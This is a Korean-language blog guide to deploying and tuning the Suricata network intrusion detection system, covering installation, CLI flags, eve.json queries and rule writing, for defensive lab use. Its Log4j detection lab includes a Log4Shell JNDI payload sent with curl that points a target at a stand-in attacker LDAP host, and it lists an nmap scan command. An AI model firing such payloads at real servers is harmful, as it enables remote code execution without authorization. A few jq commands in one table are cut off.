Suricata NIDS/IPS 심층 분석 및 실무 가이드
- 본질: OISF(Open Information Security Foundation)에서 주도하여 개발한 오픈 소스 기반의 고성능 네트워크 침입 탐지(IDS), 침입 방지(IPS) 및 네트워크 보안 모니터링(NSM) 엔진
- 위협 및 목적: 단일 스레드로 동작하는 레거시 Snort의 성능 한계를 극복하기 위해 네이티브 멀티스레딩(Multi-threading)을 도입하였으며, 네트워크를 통과하는 악성 페이로드(Malware), 취약점 스캐닝, C2 통신 등을 실시간으로 탐지하고 차단함
- 대응 방안: 미러링(Port Mirroring/SPAN)된 트래픽을 수신하여 분석하고, 파싱하기 쉬운
eve.json형식으로 로그를 출력하여 ELK 스택이나 Splunk 등 SIEM(보안 정보 및 이벤트 관리) 플랫폼과 완벽하게 연동하는 아키텍처를 구축해야 함
목차 (Table of Contents)
본 포스팅에 명시된 침해 탐지 룰(Rule) 작성 및 패킷 캡처/분석 실습은 합법적으로 통제 권한이 있는 사내망 또는 개인 랩(Lab) 환경을 전제로 작성되었습니다. 타인의 통신 내용을 무단으로 감청하거나 스니핑하는 행위는 통신비밀보호법 위반입니다. 본 문서는 기업 인프라의 네트워크 가시성(Visibility)을 확보하고 능동적 방어(Active Defense) 체계를 구축하기 위한 엔지니어링 가이드입니다.
1. 아키텍처 및 랩(Lab) 토폴로지
- 난이도: 고급 (Advanced)
- 주제 분류: 네트워크 보안 / 인프라 관제 / 침해사고 탐지
- 핵심 키워드:
#Suricata#NIDS#IPS#EVE_JSON#ThreatHunting - 사전 지식: OSI 7계층 분석, TCP/IP 헤더 구조, 정규표현식(PCRE), ELK(Elasticsearch, Logstash, Kibana) 파이프라인
💡 Tip: 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인하세요.
| 구분 | OS / 플랫폼 (버전 필수) | 인프라 환경 / 위치 | IP 대역 | 인프라 내 역할 |
|---|---|---|---|---|
| 공격 (Red) | Kali Linux 2024.x | 외부망 (Internet) | Public IP | 웹 취약점 스캐닝, 랜섬웨어 C2 비컨 통신 시도 |
| 타겟 (Target) | Ubuntu 22.04 (Web/DB) | DMZ (내부망) | 10.0.0.100/24 |
외부 서비스를 제공하는 인프라 타겟 |
| 방어 (Blue) | Suricata 7.x | Core Switch SPAN Port | 10.0.0.10/24 |
L2 스위치 미러링 포트에서 In/Out 트래픽 복제 수신 및 분석 |
[네트워크 보안 모니터링(NSM) 아키텍처 워크플로우]
subgraph "Enterprise Infrastructure"
FW[Firewall / NAT]
Switch[Core Switch / SPAN]
Target[Web Server]
subgraph "Security Operations Center (SOC)"
Suricata[Suricata NIDS Engine]
LogStash[Logstash / Filebeat]
SIEM[(Elasticsearch / SIEM)]
end
end
Attacker -->|1. Attack Traffic| FW
FW --> Switch
Switch -->|2. Normal Routing| Target
Switch -.->|3. Port Mirroring| Suricata
Suricata -->|4. Rule Matching & eve.json| LogStash
LogStash -->|5. Log Parsing| SIEM
style Attacker fill:#ffcccc,stroke:#ff0000
style Suricata fill:#f9f871,stroke:#b8b400
style SIEM fill:#c1f0c1,stroke:#00b300그림 1: Suricata 기반의 패킷 수집(SPAN) 및 SIEM 중앙 집중식 로깅 아키텍처
2. 핵심 개념 및 기술적 정의
2-1. 상세 정의 및 동작 메커니즘 전수 나열
- 정의 1 (학술적): 실시간 네트워크 트래픽을 캡처하여 프로토콜을 파싱(Parsing)하고, 사전에 정의된 시그니처(Signature) 규칙과 일치하는 패턴을 고속의 멀티스레드 환경에서 검사하는 룰 기반 네트워크 보안 모니터링 엔진.
- 정의 2 (실무적): 엔터프라이즈 방화벽(L4)이 놓치는 애플리케이션 계층(L7)의 악의적 페이로드를 탐지하는 돋보기 역할을 하며, ELK 스택(SIEM)에 양질의 데이터(
eve.json)를 공급하는 핵심 센서(Sensor)입니다. - 탄생 배경: 네트워크 대역폭이 10Gbps 이상으로 기가비트화되면서, 싱글 스레드로 동작하는 1세대 NIDS인 'Snort(스노트)'로는 패킷 유실(Drop) 없이 트래픽을 처리하는 것이 불가능해졌고, 이를 극복하기 위해 네이티브 멀티스레딩 아키텍처로 설계된 Suricata가 등장했습니다.
- 인프라 내 역할 (NIDS vs IPS):
- NIDS 모드 (탐지): 스위치의 미러 포트(SPAN)에 연결되어 트래픽을 '복사'받아 감시만 수행 (네트워크 장애 유발 확률 0%).
- IPS 모드 (차단): 방화벽 바로 뒤의 인라인(In-line, NFQUEUE) 모드로 설치되어, 악성 패킷을 실제로 드랍(Drop) 시킴.
- 메커니즘 (Protocol Extraction): 단순한 바이트 매칭을 넘어 HTTP, DNS, TLS, SMB 프로토콜을 스스로 이해하고 파싱합니다. 예를 들어 암호화된 트래픽(HTTPS)에서도 TLS 인증서 핑거프린트(JA3)를 추출하여 악성 C2 서버를 탐지해 냅니다.
2-2. MITRE ATT&CK & D3FEND 매핑 (Defense Spectrum)
| 방어 및 탐지 영역 | MITRE Tactic (전술) | Technique (탐지 기법) | D3FEND ID |
|---|---|---|---|
| C2 통신 탐지 | Command and Control | Application Layer Protocol (HTTP/DNS C2) 탐지 | D3-NTA |
| 취약점 공격 방어 | Initial Access | Exploit Public-Facing Application (페이로드 검사) | D3-INB |
| 횡적 이동 모니터링 | Lateral Movement | SMB/RPC 프로토콜 이상 징후 (Pass-the-Hash 등) | D3-OAM |
| 파일 유출 감시 | Exfiltration | Automated Exfiltration (MD5 파일 해시 추출) | D3-FA |
3. 주요 특징 및 통신 규격 (Exhaustive Analysis)
3-1. 기술적 핵심 특징 10선
네이티브 멀티스레딩: CPU 코어를 여러 개 사용하여 10Gbps 이상의 대용량 트래픽을 병렬 처리(Load Balancing).EVE JSON 로깅: 모든 경고, 프로토콜 통계, 추출된 파일 메타데이터를 파싱이 극도로 쉬운 단일 JSON 포맷(eve.json)으로 출력.가속 기술 (AF_PACKET / PF_RING): 커널 네트워크 스택의 오버헤드를 우회하여, 네트워크 카드(NIC)에서 유저 스페이스로 패킷을 직접 고속 복사하는 기술 지원.프로토콜 자동 인식 (Protocol Identification): 비표준 포트(예: 80이 아닌 8080포트)를 사용하더라도 HTTP 통신임을 스스로 인지하여 파싱.파일 추출 (File Extraction): HTTP나 SMB 통신 중 전송되는 파일(.exe, .pdf 등)을 실시간으로 식별하고 디스크에 저장 및 해시(MD5/SHA256) 추출 기능.eBPF/XDP 지원: Linux 커널 수준에서 가장 빠른 패킷 처리 기술(XDP)을 지원하여 IPS 모드 시 CPU 부하 극소화.Snort 룰 완벽 호환: 기존에 작성된 수만 개의 Snort 시그니처를 거의 수정 없이 100% 호환하여 적용 가능.JA3 / JA3S 핑거프린팅: 암호화된 트래픽의 페이로드를 복호화하지 않고도, TLS Handshake 구조만으로 악성 클라이언트(Malware)를 식별하는 해싱 기법 내장.Lua 스크립팅 지원: 정규표현식만으로 탐지하기 복잡한 로직을 Lua 언어로 프로그래밍하여 시그니처 엔진에 탑재 가능.자동화된 룰 관리:suricata-update도구를 내장하여 Emerging Threats (ET) 등 최신 오픈소스 위협 인텔리전스 룰을 매일 자동 갱신.
3-2. 실무 관점 장단점 (5 Pros & 5 Cons)
| 구분 | 시스템 관점 특성 상세 팩트 | 보안 및 인프라 운영 관점의 트레이드오프 |
|---|---|---|
| 장점 1 | [방어자] ELK / Graylog / Splunk와 완벽한 호환성 | eve.json 하나만 Filebeat로 던지면 완벽한 대시보드 구축 가능 |
| 장점 2 | 멀티스레딩을 통한 패킷 유실률(Drop rate) 최소화 | 대형 트래픽 환경에서도 Snort 대비 압도적으로 안정적인 관제 보장 |
| 장점 3 | 개방형 생태계 (Open Source 인텔리전스) | 상용 보안 장비 도입 전, 위협 탐지 아키텍처를 무료로 완벽 구현 |
| 단점 1 | 방대한 하드웨어 리소스 요구 (특히 RAM) | 룰이 수만 개로 늘어나고 트래픽이 많으면 수십 GB의 메모리 소모 |
| 단점 2 | 초기 튜닝의 어려움 (False Positives) | 실무 적용 시 오탐(정상 트래픽을 공격으로 탐지) 튜닝에 수개월 소요 |
| 단점 3 | IPS (차단) 모드 운영 시 네트워크 장애 리스크 | 인라인 모드에서 Suricata 데몬이 죽으면 전체 네트워크 통신 마비 |
| 단점 4 | 암호화 페이로드(TLS 1.3) 검사 불가 | 인증서 기반의 JA3 분석은 가능하나, 페이로드 내부의 공격 코드는 못 봄 |
| 단점 5 | 커널 및 NIC 드라이버 튜닝 등 고도의 엔지니어링 필요 | 단순히 apt-get 설치만으로는 기가비트망에서 100% 성능 발휘 불가 |
4. 서버 인프라 및 도구 환경 구축 명세
4-1. 사전 요구 사항 (Dependencies)
- OS 환경: Ubuntu 22.04 LTS (센서 노드)
- 네트워크 구조: 인터페이스 2개 권장 (
eth0: 관리용(SSH/SIEM 전송),eth1: 트래픽 미러링 전용(IP 할당 없음, Promiscuous 모드)) - 의존 패키지 설치:
software-properties-common,jq(JSON 파싱 도구)
4-2. 시스템 구축 및 셋업 (Step-by-Step Complete)
💻 Suricata 최신 버전 설치 및 최적화 스크립트
# [Step 1: OISF 공식 PPA 저장소 추가 및 최신 버전 설치]
$ sudo add-apt-repository ppa:oisf/suricata-stable
$ sudo apt update && sudo apt install suricata jq -y
# [Step 2: 미러링 포트(예: eth1)를 Promiscuous 모드로 설정]
# 자기 목적지가 아닌 모든 패킷을 수신하도록 설정 (SPAN 포트 수신용)
$ sudo ip link set eth1 promisc on
# [Step 3: 최신 ET Open 위협 인텔리전스 룰셋 자동 다운로드 및 적용]
$ sudo suricata-update
# [Step 4: suricata.yaml 핵심 설정 변경 (네트워크 대역 및 인터페이스)]
# 내부망 대역 정의 및 캡처 인터페이스 지정
$ sudo sed -i 's/HOME_NET: "\[192.168.0.0\/16,10.0.0.0\/8,172.16.0.0\/12\]"/HOME_NET: "\[10.0.0.0\/24\]"/' /etc/suricata/suricata.yaml
$ sudo sed -i 's/interface: eth0/interface: eth1/' /etc/suricata/suricata.yaml
# [Step 5: 서비스 재시작 및 구동 확인]
$ sudo systemctl restart suricata
$ sudo systemctl status suricata
5. 상세 명세 (명령어 / API / 프로토콜 전수 분석)
이번 섹션에서는 Suricata 데몬을 수동으로 제어하거나 오프라인 패킷(PCAP) 분석을 수행할 때 사용하는 suricata 바이너리 CLI 구조를 심층 해부합니다.
5-1. 기본 구문 및 명령어 구조 (Syntax)
📌 Syntax 표기법 (안전 파싱 모드)
{필수항목}: 반드시 입력해야 하는 값[선택항목]: 생략 가능한 옵션 값
# Suricata 글로벌 명령어 구조
sudo suricata [운영_모드_플래그] -c {설정파일_경로} [세부_인자]
파라미터별 상세 설명 (인자 분해)
| 파라미터 | 필수 여부 | 타입 | 역할 및 설명 | 실전 값 예시 |
|---|---|---|---|---|
suricata |
필수 | 실행 파일 | Suricata 메인 데몬 실행 파일 | suricata |
[운영_모드] |
필수 | 스위치 | 트래픽을 어디서 수신할 것인지 결정 (라이브 인터페이스 또는 오프라인 PCAP) | -i eth1 (라이브) 또는 -r file.pcap |
-c {설정파일} |
필수 | 경로 | Suricata 엔진 구동을 위한 메인 환경 설정 파일(YAML) 지정 | -c /etc/suricata/suricata.yaml |
-T |
선택 | 스위치 | 엔진을 구동하기 전, 설정 파일과 룰셋(Rules)에 문법적 오류가 없는지 테스트 | suricata -T -c ... |
-S {특정룰} |
선택 | 경로 | 수만 개의 기본 룰 대신, 테스트 목적으로 단일 룰 파일만 적용하여 엔진 구동 | -S /tmp/test.rule |
-v / -vvv |
선택 | 스위치 | 터미널에 상세한 디버깅 및 엔진 구동 로그를 출력 (Verbose) | -vvv |
-D |
선택 | 스위치 | 백그라운드 프로세스(Daemon) 형태로 실행 (실무 서버 운영 시 주로 systemd가 처리) | -D |
5-2. 실행 옵션 및 제어 플래그 상세 목록 (5 Core Flags)
| 플래그 (단축 / 전체) | 동작 원리 및 매뉴얼 상세 설명 | 실전 명령어 예시 (Concrete Example) | 실무/보안 활용 관점 |
|---|---|---|---|
-i / --interface |
일반 PCAP 모드로 지정된 네트워크 인터페이스 수신 | suricata -c suricata.yaml -i eth1 |
가장 기본적인 NIDS 라이브 구동 모드 |
--af-packet |
커널을 우회하여 고속(Zero-copy)으로 패킷 수신 | suricata -c suricata.yaml --af-packet=eth1 |
기가비트 이상의 트래픽 환경에서 성능 최적화 |
-r / --pcap |
저장된 .pcap 파일을 엔진에 밀어넣어 분석 |
suricata -c suricata.yaml -r mal.pcap |
[포렌식] 침해사고 후 확보된 패킷 파일 정밀 재분석 |
-q / --nfqueue |
(IPS 모드) iptables NFQUEUE로 들어오는 트래픽 통제 | suricata -c suricata.yaml -q 0 |
방화벽 룰과 결합하여 악성 패킷 즉각 드랍(Drop) |
-l / --log-dir |
eve.json 및 fast.log 파일이 생성될 디렉터리 지정 |
suricata -c suricata.yaml -i eth1 -l /var/log/suricata |
분리된 스토리지나 디스크로 로깅 경로 명시적 지정 |
5-3. 비대화형 명령어 조합 실전 시나리오 (3 Non-Interactive Scenarios)
| 조합 시나리오 및 목적 | 실전 명령어 완성본 (Ready-to-Use) | 백그라운드 파싱 메커니즘 및 런타임 결과 |
|---|---|---|
| [검증] 신규 작성한 룰(Rule) 문법 무결성 테스트 | sudo suricata -T -c /etc/suricata/suricata.yaml |
파서(Parser)만 가동하여 시그니처 오류 여부만 체크 후 종료 |
| [DFIR] 악성코드 PCAP에서 Alert 로그만 추출 | sudo suricata -c /etc/suricata/suricata.yaml -r malware.pcap && cat /var/log/suricata/fast.log |
저장된 패킷을 가상 재생하여 악성코드 탐지 시그니처 확인 |
| [초고속 관제] AF_PACKET 모드로 단일 룰 헌팅 | sudo suricata --af-packet=eth1 -c /etc/suricata/suricata.yaml -S /etc/suricata/rules/local.rules |
커스텀 룰 하나만 로드하여 고속 라이브 네트워크 관제 돌입 |
6. 핵심 킬체인 치트시트 (Cheat Sheet)
6-1. Suricata 관제 및 EVE JSON 파싱 원라이너 (10 One-Liners)
방어자(Blue Team)가 수백만 줄의 로그 속에서 의미 있는 데이터를 즉시 추출하는 JQ 파이프라인입니다.
| 방어 및 분석 목적 | 완전한 실전 명령어 원문 (One-Liner Example) | 런타임 결과 및 IR 목적 서술 |
|---|---|---|
| [룰 업데이트] | sudo suricata-update -f |
오픈소스(ET) 최신 위협 시그니처 룰 강제 동기화 |
| [실시간 경보] | tail -f /var/log/suricata/fast.log |
인간이 읽기 쉬운 형태의 1줄짜리 실시간 탐지 Alert 관제 |
| [EVE Alert] | jq 'select(.event_type=="alert")' /var/log/suricata/eve.json |
방대한 JSON 로그 중 오직 '경보(Alert)' 이벤트만 추출 |
| [통계: 타겟IP] | `jq 'select(.event_type=="alert") | .dest_ip' eve.json |
| [DNS 헌팅] | `jq 'select(.event_type=="dns") | .dns.rrname' eve.json |
| [HTTP 호스트] | `jq 'select(.event_type=="http") | .http.hostname' eve.json |
| [JA3 추출] | `jq 'select(.event_type=="tls") | .tls.ja3.hash' eve.json` |
| [파일 추출로그] | `jq 'select(.event_type=="fileinfo") | .fileinfo.filename' eve.json` |
| [엔진 통계] | `jq 'select(.event_type=="stats")' eve.json | tail -n 1` |
7. 심층 킬체인 워크플로우 (Deep Dive)
7-1. 핵심 시그니처(Rule) 구조 및 문법 해부
Suricata 방어의 꽃은 탐지 룰(Rule)을 직접 작성하는 것입니다. 룰은 크게 헤더(Header)와 옵션(Options)으로 나뉩니다.
⚙️ Suricata Rule Syntax
[Action] [Protocol] [Src IP] [Src Port] -> [Dst IP] [Dst Port] (msg:"Description"; content:"Pattern"; sid:100001; rev:1;)
| 헤더/옵션 필드 | 설명 및 작성 규칙 | 실전 작성 예시 |
|---|---|---|
Action |
매치되었을 때의 행동 (alert, drop, pass) |
alert |
Protocol |
분석할 프로토콜 (tcp, udp, icmp, http, tls, dns) |
http (HTTP 특정 옵션 활성화됨) |
IP & Port |
출발지와 목적지 지정 ($HOME_NET, $EXTERNAL_NET, any) |
$EXTERNAL_NET any -> $HOME_NET 80 |
msg |
로그(fast.log, eve.json)에 찍힐 위협 명칭 문자열 |
msg:"Possible SQL Injection"; |
content |
페이로드 내에서 정확히 매칭할 바이트 문자열 (Hex 값 ` | 00 |
nocase |
앞의 content를 대소문자 구분 없이 검사할 것을 지시 (우회 방지용) |
nocase; |
http_uri |
(HTTP 지정 시) 전체 패킷이 아닌 HTTP URI 영역에서만 content를 찾도록 범위 한정 |
http_uri; |
sid |
룰의 고유 식별 번호 (1000000 이하는 시스템 예약, 커스텀은 1000001 이상 사용) | sid:1000001; |
rev |
룰의 버전 (업데이트될 때마다 1씩 증가시킴) | rev:1; |
7-2. 공격 프레임워크 탐지 타임라인 (Chronological Alert Flow)
Kali Linux에서 Nikto나 Nmap으로 스캐닝을 수행했을 때 Suricata 파이프라인에서 발생하는 처리 과정입니다.
| 타임스탬프 (T+) | 공격자(Kali) 행위 | Suricata 엔진 처리 로직 (Internal Process) | 출력 결과물 (Output Log) |
|---|---|---|---|
T - 00:00 |
nmap -sS -A 10.0.0.100 스캔 개시 |
멀티스레드 패킷 수집 모듈(AF_PACKET) 패킷 수신 | (내부 버퍼로 복사) |
T + 00:01 |
TCP SYN 패킷의 융단폭격 | Stream 엔진이 TCP 상태(State) 및 플로우 조립 | eve.json 에 event_type: "flow" 로그 대량 생성 |
T + 00:02 |
Nmap 스크립트(NSE) HTTP 요청 전송 | HTTP 파서 작동, User-Agent 버퍼 추출 |
eve.json 에 event_type: "http" 로깅 |
T + 00:02 |
Signature Matching 모듈 도달 | 추출된 버퍼와 sid:2009358 (ET SCAN Nmap) 대조 |
조건 일치 확인 (True) |
T + 00:03 |
(경보 발령) | Output 스레드가 파일에 I/O 기록 | fast.log: [**] [1:2009358:..] ET SCAN Nmap... |
8. 실전 침투 테스트 및 로그 관제 시나리오 (Threat Hunting Lab)
📘 Scenario A: Log4j (CVE-2021-44228) JNDI 인젝션 탐지 커스텀 룰 작성
- 학습 목표: 최근 발생한 치명적인 제로데이(0-day) 취약점 발생 시, 제조사의 백신 업데이트를 기다리지 않고 방어자가 직접 커스텀 시그니처를 작성하여 즉각 대응하는 엔지니어링 역량.
- 동작 원리: Log4j 익스플로잇의 핵심인
${jndi:ldap://...}패턴이 HTTP 헤더나 URI에 포함되어 들어오는 것을 L7 엔진 단에서 탐지.
⚔️ Blue Team 방어 시그니처 작성 시나리오
# [Step 1: Blue Team - 커스텀 로컬 룰 파일 편집]
$ sudo nano /etc/suricata/rules/local.rules
# [Step 2: Blue Team - Log4j JNDI 패턴 탐지 룰 추가]
# (해석): 외부에서 내부망 모든 포트로 들어오는 HTTP 트래픽 중, 페이로드에 "${jndi:" 문자열이 대소문자 구분 없이 포함되면 알람 발생.
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"[THREAT HUNT] Log4j CVE-2021-44228 JNDI Injection Attempt"; content:"${jndi:"; nocase; classtype:attempted-admin; sid:2000001; rev:1;)
# [Step 3: Blue Team - 문법 검증 및 룰 동적 리로드 (재시작 없이 반영)]
$ sudo suricata -T -c /etc/suricata/suricata.yaml
$ sudo kill -USR2 $(pidof suricata)
# [Step 4: Red Team (Kali) - 익스플로잇 페이로드 전송 테스트]
$ curl -A "${jndi:ldap://[attacker.com/Exploit](https://attacker.com/Exploit)}" [http://10.0.0.100](http://10.0.0.100)
# [Step 5: Blue Team - JQ를 활용한 EVE JSON 탐지 확인]
$ jq -c 'select(.alert.signature_id==2000001) | {timestamp, src_ip, dest_ip, alert_msg: .alert.signature}' /var/log/suricata/eve.json
# 출력결과: {"timestamp":"...","src_ip":"10.0.0.50","dest_ip":"10.0.0.100","alert_msg":"[THREAT HUNT] Log4j CVE-2021-44228 JNDI Injection Attempt"}
9. 트러블슈팅 및 장애 대응 (5 RCA Scenarios)
| 에러 로그 (Symptom) / 증상 | 발생 원인 (Root Cause) | 해결책 (Resolution) | 조치 후 검증 커맨드 (Verification) |
|---|---|---|---|
Error opening file ... /local.rules: No such file |
suricata.yaml에 등록된 룰 파일이 물리적으로 존재하지 않음 |
touch /etc/suricata/rules/local.rules 파일 생성 |
suricata -T 재수행으로 검증 |
Packet drop rate > 5% (통계 로그 확인 시) |
트래픽 량 대비 가용한 CPU/RAM 자원 부족 또는 싱글 큐 사용 | af-packet 설정에서 cluster-type: cluster_flow 적용 및 스레드 증설 |
eve.json 내 stats.capture.kernel_drops 모니터링 |
| 특정 커스텀 룰(sid:2000001)이 동작하지 않음 | 룰 문법 오류 또는 HTTP와 같은 L7 프로토콜 파서가 포트 매핑을 못함 | 룰 맨 끝의 sid, rev 세미콜론(;) 누락 확인 및 포트 번호 재확인 |
suricata.yaml의 app-layer 포트 대역 추가 |
Warning: unable to map rule ... to an interface |
HOME_NET 설정이 잘못되어 룰의 방향성을 엔진이 파악하지 못함 |
suricata.yaml의 HOME_NET에 사내 IP 서브넷 대역 정확히 기입 |
방화벽 구성도(Topology) 대역과 일치하는지 재검토 |
| SIEM(Kibana) 대시보드에 로그가 쌓이지 않음 | Filebeat가 eve.json 파일을 읽지 못하거나 권한 문제 |
/var/log/suricata 디렉터리의 읽기 권한 확인 및 Logstash 매핑 검사 |
sudo -u filebeat cat /var/log/suricata/eve.json |
🛡️ Blue Team: 시스템 통제 및 방어 엔지니어링
"Suricata를 구축했다고 방어가 끝나는 것이 아닙니다. 쏟아지는 수만 개의 False Positive(오탐) 경보 속에서 우리 기업 인프라에 진짜 치명적인 True Positive(정탐) 1개를 핀셋처럼 건져내는 '시그니처 튜닝(Tuning)' 역량이 SOC(보안관제센터)의 진정한 실력입니다."
10. 방어 및 위협 헌팅 엔지니어링
10-1. 인프라 관제 하드닝 및 튜닝 전략 (5 Points Checklist)
- Bypass/Suppress 설정 (오탐 제거):
- 사내 취약점 스캐너(예: Nessus)의 IP가 스캔할 때마다 수십만 개의 알람이 발생합니다.
/etc/suricata/threshold.config파일에suppress gen_id 1, sig_id 0, track by_src, ip 10.0.0.50을 추가하여 신뢰된 소스의 알람을 영구 음소거(Mute)해야 합니다.
- 사내 취약점 스캐너(예: Nessus)의 IP가 스캔할 때마다 수십만 개의 알람이 발생합니다.
- 포트 미러링 (SPAN) 무결성 확보:
- 스위치에서 Suricata 센서로 트래픽을 넘길 때, Inbound/Outbound 방향(TX/RX) 모두가 미러링되는지 확인해야 합니다. 방향이 누락되면 TCP 3-Way Handshake가 성립되지 않아 Suricata의 Stream 엔진이 트래픽 분석을 포기(Drop)합니다.
- 파일 추출(File Extraction) 전략적 사용:
- 모든 HTTP 다운로드 파일을 디스크에 저장하면 센서 용량이 하루 만에 마비(Full)됩니다.
filestore룰을 작성할 때.exe,.elf,.dll과 같이 악성코드 의심 확장자에 대해서만 선별적으로 추출하도록 튜닝해야 합니다.
- 모든 HTTP 다운로드 파일을 디스크에 저장하면 센서 용량이 하루 만에 마비(Full)됩니다.
- Hardware Offload (NIC 튜닝):
- Suricata의 프로토콜 분석 정확도를 높이려면, 네트워크 카드(NIC)가 자체적으로 분할하는 하드웨어 가속(LRO/GRO)을 꺼야 합니다. 커널 레벨의 순수 패킷을 받기 위해
ethtool -K eth1 gro off lro off처리를 시스템 부팅 스크립트에 등록합니다.
- Suricata의 프로토콜 분석 정확도를 높이려면, 네트워크 카드(NIC)가 자체적으로 분할하는 하드웨어 가속(LRO/GRO)을 꺼야 합니다. 커널 레벨의 순수 패킷을 받기 위해
- ELK 연동 및 대시보드 시각화:
eve.json은 기계 친화적입니다. 인간이 즉시 위협을 인지하려면 Kibana 대시보드에 연동하여 '국가별(GeoIP) 접속 지도', '가장 많이 탐지된 Signature Top 10', 'HTTP 상태 코드 통계' 패널을 구축해야 합니다.
11. 공식 레퍼런스 (References)
- Suricata Official Documentation:
https://suricata.readthedocs.io/ - OISF (Open Information Security Foundation):
https://oisf.net/ - Emerging Threats (ET) Open Ruleset:
https://rules.emergingthreats.net/
12. 결론 및 비즈니스 임팩트 (Wrap-up)
엔지니어링 방어 철학
CISO 및 보안 관리 관점
💡 Related Posts
- 👉 ELK 스택(Elasticsearch) 구축 및 Suricata EVE JSON 로그 파이프라인 연동
- 👉 Wireshark 패킷 분석 실무: TCP/IP 쓰리웨이 핸드셰이크와 L7 페이로드 덤프
- 👉 차세대 방화벽(NGFW)과 NIDS(네트워크 침입 탐지 시스템)의 아키텍처 비교
오류나 기술적 추가 질문은 언제든 댓글로 남겨 주세요.
Discussion 0